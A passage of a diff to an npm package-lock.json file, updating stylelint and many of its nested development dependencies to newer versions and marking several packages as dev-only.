"call-bind": "^1.0.0", + "define-properties": "^1.1.3", + "has-symbols": "^1.0.1", + "object-keys": "^1.1.1" + } + }, + "regexp.prototype.flags": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.3.1.tgz", + "integrity": "sha512-JiBdRBq91WlY7uRJ0ds7R+dU02i6LKi8r3BuQhNXn+kmeLN+EfHhfjqMRis1zJxnlu88hq/4dx0P2OP3APRTOA==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + }, + "string.prototype.trimend": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz", + "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + }, + "string.prototype.trimstart": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz", + "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + } } }, "string.prototype.trimend": { @@ -16202,27 +20227,16 @@ "version": "1.1.1", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", - "requires": { - "safe-buffer": "~5.1.0" - } - }, - "stringify-entities": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/stringify-entities/-/stringify-entities-3.0.1.tgz", - "integrity": "sha512-Lsk3ISA2++eJYqBMPKcr/8eby1I6L0gP0NlxF8Zja6c05yr/yCYyb2c9PwXjd08Ib3If1vn1rbs1H5ZtVuOfvQ==", "dev": true, "requires": { - "character-entities-html4": "^1.0.0", - "character-entities-legacy": "^1.0.0", - "is-alphanumerical": "^1.0.0", - "is-decimal": "^1.0.2", - "is-hexadecimal": "^1.0.0" + "safe-buffer": "~5.1.0" } }, "strip-ansi": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", + "dev": true, "requires": { "ansi-regex": "^2.0.0" } @@ -16239,7 +20253,8 @@ "strip-eof": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/strip-eof/-/strip-eof-1.0.0.tgz", - "integrity": "sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=" + "integrity": "sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=", + "dev": true }, "strip-indent": { "version": "1.0.1", @@ -16285,61 +20300,73 @@ "dev": true }, "stylelint": { - "version": "13.3.3", - "resolved": "https://registry.npmjs.org/stylelint/-/stylelint-13.3.3.tgz", - "integrity": "sha512-j8Oio2T1YNiJc6iXDaPYd74Jg4zOa1bByNm/g9/Nvnq4tDPsIjMi46jhRZyPPktGPwjJ5FwcmCqIRlH6PVP8mA==", + "version": "13.12.0", + "resolved": "https://registry.npmjs.org/stylelint/-/stylelint-13.12.0.tgz", + "integrity": "sha512-P8O1xDy41B7O7iXaSlW+UuFbE5+ZWQDb61ndGDxKIt36fMH50DtlQTbwLpFLf8DikceTAb3r6nPrRv30wBlzXw==", "dev": true, "requires": { - "@stylelint/postcss-css-in-js": "^0.37.1", - "@stylelint/postcss-markdown": "^0.36.1", - "autoprefixer": "^9.7.6", + "@stylelint/postcss-css-in-js": "^0.37.2", + "@stylelint/postcss-markdown": "^0.36.2", + "autoprefixer": "^9.8.6", "balanced-match": "^1.0.0", - "chalk": "^4.0.0", - "cosmiconfig": "^6.0.0", - "debug": "^4.1.1", + "chalk": "^4.1.0", + "cosmiconfig": "^7.0.0", + "debug": "^4.3.1", "execall": "^2.0.0", - "file-entry-cache": "^5.0.1", - "get-stdin": "^7.0.0", + "fast-glob": "^3.2.5", + "fastest-levenshtein": "^1.0.12", + "file-entry-cache": "^6.0.1", + "get-stdin": "^8.0.0", "global-modules": "^2.0.0", - "globby": "^11.0.0", + "globby": "^11.0.2", "globjoin": "^0.1.4", "html-tags": "^3.1.0", - "ignore": "^5.1.4", + "ignore": "^5.1.8", "import-lazy": "^4.0.0", "imurmurhash": "^0.1.4", - "known-css-properties": "^0.18.0", - "leven": "^3.1.0", - "lodash": "^4.17.15", - "log-symbols": "^3.0.0", + "known-css-properties": "^0.21.0", + "lodash": "^4.17.21", + "log-symbols": "^4.0.0", "mathml-tag-names": "^2.1.3", - "meow": "^6.1.0", + "meow": "^9.0.0", "micromatch": "^4.0.2", "normalize-selector": "^0.2.0", - "postcss": "^7.0.27", + "postcss": "^7.0.35", "postcss-html": "^0.36.0", "postcss-less": "^3.1.4", "postcss-media-query-parser": "^0.2.3", - "postcss-reporter": "^6.0.1", "postcss-resolve-nested-selector": "^0.1.1", "postcss-safe-parser": "^4.0.2", "postcss-sass": "^0.4.4", - "postcss-scss": "^2.0.0", - "postcss-selector-parser": "^6.0.2", + "postcss-scss": "^2.1.1", + "postcss-selector-parser": "^6.0.4", "postcss-syntax": "^0.36.2", - "postcss-value-parser": "^4.0.3", + "postcss-value-parser": "^4.1.0", "resolve-from": "^5.0.0", "slash": "^3.0.0", "specificity": "^0.4.1", - "string-width": "^4.2.0", + "string-width": "^4.2.2", "strip-ansi": "^6.0.0", "style-search": "^0.1.0", "sugarss": "^2.0.0", "svg-tags": "^1.0.0", - "table": "^5.4.6", - "v8-compile-cache": "^2.1.0", + "table": "^6.0.7", + "v8-compile-cache": "^2.2.0", "write-file-atomic": "^3.0.3" }, "dependencies": { + "ajv": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.1.0.tgz", + "integrity": "sha512-B/Sk2Ix7A36fs/ZkuGLIR86EdjbgR6fsAcbx9lOP/QBSXujDNbVmIS/U4Itz5k8fPFDeVZl/zQ/gJW4Jrq6XjQ==", + "dev": true, + "requires": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, "ansi-regex": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", @@ -16347,15 +20374,20 @@ "dev": true }, "ansi-styles": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz", - "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==", + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", "dev": true, "requires": { - "@types/color-name": "^1.1.1", "color-convert": "^2.0.1" } }, + "astral-regex": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-2.0.0.tgz", + "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==", + "dev": true + }, "braces": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", @@ -16383,9 +20415,9 @@ } }, "chalk": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.0.0.tgz", - "integrity": "sha512-N9oWFcegS0sFr9oh1oz2d7Npos6vNoWW9HvtCg5N1KRFpUhaAhvTv5Y58g880fZaEYSNm3qDz8SU1UrGvp+n7A==", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", + "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", "dev": true, "requires": { "ansi-styles": "^4.1.0", @@ -16407,13 +20439,26 @@ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", "dev": true }, + "cosmiconfig": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.0.0.tgz", + "integrity": "sha512-pondGvTuVYDk++upghXJabWzL6Kxu6f26ljFw64Swq9v6sQPUL3EUlVDV56diOjpCayKihL6hVe8exIACU4XcA==", + "dev": true, + "requires": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.2.1", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.10.0" + } + }, "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" } }, "emoji-regex": { @@ -16422,6 +20467,15 @@ "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", "dev": true }, + "file-entry-cache": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz", + "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==", + "dev": true, + "requires": { + "flat-cache": "^3.0.4" + } + }, "fill-range": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", @@ -16441,10 +20495,26 @@ "path-exists": "^4.0.0" } }, + "flat-cache": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.0.4.tgz", + "integrity": "sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg==", + "dev": true, + "requires": { + "flatted": "^3.1.0", + "rimraf": "^3.0.2" + } + }, + "flatted": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.1.1.tgz", + "integrity": "sha512-zAoAQiudy+r5SvnSw3KJy5os/oRJYHzrzja/tBDqrZtNhUw8bt6y8OBzMWcjWr+8liV8Eb6yOhw8WZ7VFZ5ZzA==", + "dev": true + }, "get-stdin": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-7.0.0.tgz", - "integrity": "sha512-zRKcywvrXlXsA0v0i9Io4KDRaAw7+a1ZpjRwl9Wox8PFlVCCHra7E9c4kqXCoCM9nR5tBkaTTZRBoCm60bFqTQ==", + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-8.0.0.tgz", + "integrity": "sha512-sY22aA6xchAzprjyqmSEQv4UbAAzRN0L2dQB0NlN5acTTK9Don6nhoc3eAbUnpZiCANAMfd/+40kVdKfFygohg==", "dev": true }, "has-flag": { @@ -16453,10 +20523,25 @@ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", "dev": true }, + "hosted-git-info": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.0.2.tgz", + "integrity": "sha512-c9OGXbZ3guC/xOlCg1Ci/VgWlwsqDv1yMQL1CWqXDL0hDjXuNcq0zuR4xqPSuasI3kqFDhqSyTjREz5gzq0fXg==", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } + }, "ignore": { - "version": "5.1.4", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.4.tgz", - "integrity": "sha512-MzbUSahkTW1u7JpKKjY7LCARd1fU5W2rLdxlM4kdkayuCwZImjkpluF9CM1aLewYJguPDqewLam18Y6AU69A8A==", + "version": "5.1.8", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.8.tgz", + "integrity": "sha512-BMpfD7PpiETpBl/A6S498BaIJ6Y/ABT93ETbby2fP00v4EbvPBXWEoaR1UBPKs3iR53pJY7EtZk5KACI57i1Uw==", + "dev": true + }, + "import-lazy": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-4.0.0.tgz", + "integrity": "sha512-rKtvo6a868b5Hu3heneU+L4yEQ4jYKLtjpnPeUdK7h0yzXGmyBTypknlkCvHFBqfX9YlorEiMM6Dnq/5atfHkw==", "dev": true }, "indent-string": { @@ -16477,6 +20562,12 @@ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", "dev": true }, + "json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + }, "locate-path": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", @@ -16486,39 +20577,55 @@ "p-locate": "^4.1.0" } }, + "lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", + "dev": true + }, + "lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } + }, "map-obj": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-4.1.0.tgz", - "integrity": "sha512-glc9y00wgtwcDmp7GaE/0b0OnxpNJsVf3ael/An6Fe2Q51LLwN1er6sdomLRzz5h0+yMpiYLhWYF5R7HeqVd4g==", + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-4.2.1.tgz", + "integrity": "sha512-+WA2/1sPmDj1dlvvJmB5G6JKfY9dpn7EVBUL06+y6PoljPkh+6V1QihwxNkbcGxCRjt2b0F9K0taiCuo7MbdFQ==", "dev": true }, "meow": { - "version": "6.1.1", - "resolved": "https://registry.npmjs.org/meow/-/meow-6.1.1.tgz", - "integrity": "sha512-3YffViIt2QWgTy6Pale5QpopX/IvU3LPL03jOTqp6pGj3VjesdO/U8CuHMKpnQr4shCNCM5fd5XFFvIIl6JBHg==", + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/meow/-/meow-9.0.0.tgz", + "integrity": "sha512-+obSblOQmRhcyBt62furQqRAQpNyWXo8BuQ5bN7dG8wmwQ+vwHKp/rCFD4CrTP8CsDQD1sjoZ94K417XEUk8IQ==", "dev": true, "requires": { "@types/minimist": "^1.2.0", "camelcase-keys": "^6.2.2", + "decamelize": "^1.2.0", "decamelize-keys": "^1.1.0", "hard-rejection": "^2.1.0", - "minimist-options": "^4.0.2", - "normalize-package-data": "^2.5.0", + "minimist-options": "4.1.0", + "normalize-package-data": "^3.0.0", "read-pkg-up": "^7.0.1", "redent": "^3.0.0", "trim-newlines": "^3.0.0", - "type-fest": "^0.13.1", - "yargs-parser": "^18.1.3" + "type-fest": "^0.18.0", + "yargs-parser": "^20.2.3" } }, "micromatch": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.2.tgz", - "integrity": "sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==", + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", + "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", "dev": true, "requires": { "braces": "^3.0.1", - "picomatch": "^2.0.5" + "picomatch": "^2.2.3" } }, "ms": { @@ -16527,6 +20634,18 @@ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", "dev": true }, + "normalize-package-data": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-3.0.2.tgz", + "integrity": "sha512-6CdZocmfGaKnIHPVFhJJZ3GuR8SsLKvDANFp47Jmy51aKIr8akjAWTSxtpI+MBgBFdSMRyo4hMpDlT6dTffgZg==", + "dev": true, + "requires": { + "hosted-git-info": "^4.0.1", + "resolve": "^1.20.0", + "semver": "^7.3.4", + "validate-npm-package-license": "^3.0.1" + } + }, "p-locate": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", @@ -16542,6 +20661,12 @@ "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", "dev": true }, + "quick-lru": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-4.0.1.tgz", + "integrity": "sha512-ARhCpm70fzdcvNQfPoy49IaanKkTlRWF2JMzqhcJbhSFRZv7nPTvZJdcY7301IPmvW+/p0RgIWnQDLJxifsQ7g==", + "dev": true + }, "read-pkg": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-5.2.0.tgz", @@ -16554,6 +20679,30 @@ "type-fest": "^0.6.0" }, "dependencies": { + "hosted-git-info": { + "version": "2.8.9", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz", + "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==", + "dev": true + }, + "normalize-package-data": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz", + "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==", + "dev": true, + "requires": { + "hosted-git-info": "^2.1.4", + "resolve": "^1.10.0", + "semver": "2 || 3 || 4 || 5", + "validate-npm-package-license": "^3.0.1" + } + }, + "semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "dev": true + }, "type-fest": { "version": "0.6.0", "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.6.0.tgz", @@ -16591,22 +20740,61 @@ "strip-indent": "^3.0.0" } }, + "resolve": { + "version": "1.20.0", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.20.0.tgz", + "integrity": "sha512-wENBPt4ySzg4ybFQW2TT1zMQucPK95HSh/nq2CFTZVOGut2+pQvSsgtda4d26YrYcr067wjbmzOG8byDPBX63A==", + "dev": true, + "requires": { + "is-core-module": "^2.2.0", + "path-parse": "^1.0.6" + } + }, "resolve-from": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", "dev": true }, + "rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dev": true, + "requires": { + "glob": "^7.1.3" + } + }, + "semver": { + "version": "7.3.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", + "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } + }, "slash": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", "dev": true }, + "slice-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-4.0.0.tgz", + "integrity": "sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==", + "dev": true, + "requires": { + "ansi-styles": "^4.0.0", + "astral-regex": "^2.0.0", + "is-fullwidth-code-point": "^3.0.0" + } + }, "string-width": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.0.tgz", - "integrity": "sha512-zUz5JD+tgqtuDjMhwIg5uFVV3dtqZ9yQJlZVfq4I01/K5Paj5UHj7VyrQOJvzawSVlKpObApbfD0Ed6yJc+1eg==", + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz", + "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==", "dev": true, "requires": { "emoji-regex": "^8.0.0", @@ -16633,14 +20821,31 @@ } }, "supports-color": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz", - "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==", + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", "dev": true, "requires": { "has-flag": "^4.0.0" } }, + "table": { + "version": "6.0.9", + "resolved": "https://registry.npmjs.org/table/-/table-6.0.9.tgz", + "integrity": "sha512-F3cLs9a3hL1Z7N4+EkSscsel3z55XT950AvB05bwayrNg5T1/gykXtigioTAjbltvbMSJvvhFCbnf6mX+ntnJQ==", + "dev": true, + "requires": { + "ajv": "^8.0.1", + "is-boolean-object": "^1.1.0", + "is-number-object": "^1.0.4", + "is-string": "^1.0.5", + "lodash.clonedeep": "^4.5.0", + "lodash.flatten": "^4.4.0", + "lodash.truncate": "^4.4.2", + "slice-ansi": "^4.0.0", + "string-width": "^4.2.0" + } + }, "to-regex-range": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", @@ -16656,21 +20861,29 @@ "integrity": "sha512-C4+gOpvmxaSMKuEf9Qc134F1ZuOHVXKRbtEflf4NTtuuJDEIJ9p5PXsalL8SkeRw+qit1Mo+yuvMPAKwWg/1hA==", "dev": true }, - "type-fest": { - "version": "0.13.1", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.13.1.tgz", - "integrity": "sha512-34R7HTnG0XIJcBSn5XhDd7nNFPRcXYRZrBB2O2jdKqYODldSzBAqzsWoZYYvduky73toYS/ESqxPvkDf/F0XMg==", + "type-fest": { + "version": "0.18.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.18.1.tgz", + "integrity": "sha512-OIAYXk8+ISY+qTOwkHtKqzAuxchoMiD9Udx+FSGQDuiRR+PJKJHc2NJAXlbhkGwTt/4/nKZxELY1w3ReWOL8mw==", + "dev": true + }, + "v8-compile-cache": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz", + "integrity": "sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA==", + "dev": true + }, + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", "dev": true }, "yargs-parser": { - "version": "18.1.3", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-18.1.3.tgz", - "integrity": "sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==", - "dev": true, - "requires": { - "camelcase": "^5.0.0", - "decamelize": "^1.2.0" - } + "version": "20.2.7", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.7.tgz", + "integrity": "sha512-FiNkvbeHzB/syOjIUxFDCnhSfzAL8R5vs40MgLFBorXACCOAEaWu0gRZl14vG8MR9AOJIZbmkjhusqBYZ3HTHw==", + "dev": true } } }, @@ -16766,11 +20979,12 @@ } }, "tar-stream": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.1.3.tgz", - "integrity": "sha512-Z9yri56Dih8IaK8gncVPx4Wqt86NDmQTSh49XLZgjWpGZL9GK9HKParS2scqHCC4w6X9Gh2jwaU45V47XTKwVA==", + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz", + "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==", + "dev": true, "requires": { - "bl": "^4.0.1", + "bl": "^4.0.3", "end-of-stream": "^1.4.1", "fs-constants": "^1.0.0", "inherits": "^2.0.3", @@ -16781,6 +20995,7 @@ "version": "3.6.0", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "dev": true, "requires": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", @@ -16792,12 +21007,14 @@ "temp-dir": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/temp-dir/-/temp-dir-2.0.0.tgz", - "integrity": "sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==" + "integrity": "sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==", + "dev": true }, "tempfile": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/tempfile/-/tempfile-2.0.0.tgz", "integrity": "sha1-awRGhWqbERTRhW/8vlCczLCXcmU=", + "dev": true, "requires": { "temp-dir": "^1.0.0", "uuid": "^3.0.1" @@ -16806,14 +21023,16 @@ "temp-dir": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/temp-dir/-/temp-dir-1.0.0.tgz", - "integrity": "sha1-CnwOom06Oa+n4OvqnB/AvE2qAR0=" + "integrity": "sha1-CnwOom06Oa+n4OvqnB/AvE2qAR0=", + "dev": true } } }, "term-size": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/term-size/-/term-size-2.2.0.tgz", - "integrity": "sha512-a6sumDlzyHVJWb8+YofY4TW112G6p2FCPEAFk+59gIYHv3XHRhm9ltVQ9kli4hNWeQBwSpe8cRN25x0ROunMOw==" + "version": "2.2.1", + "resolved": 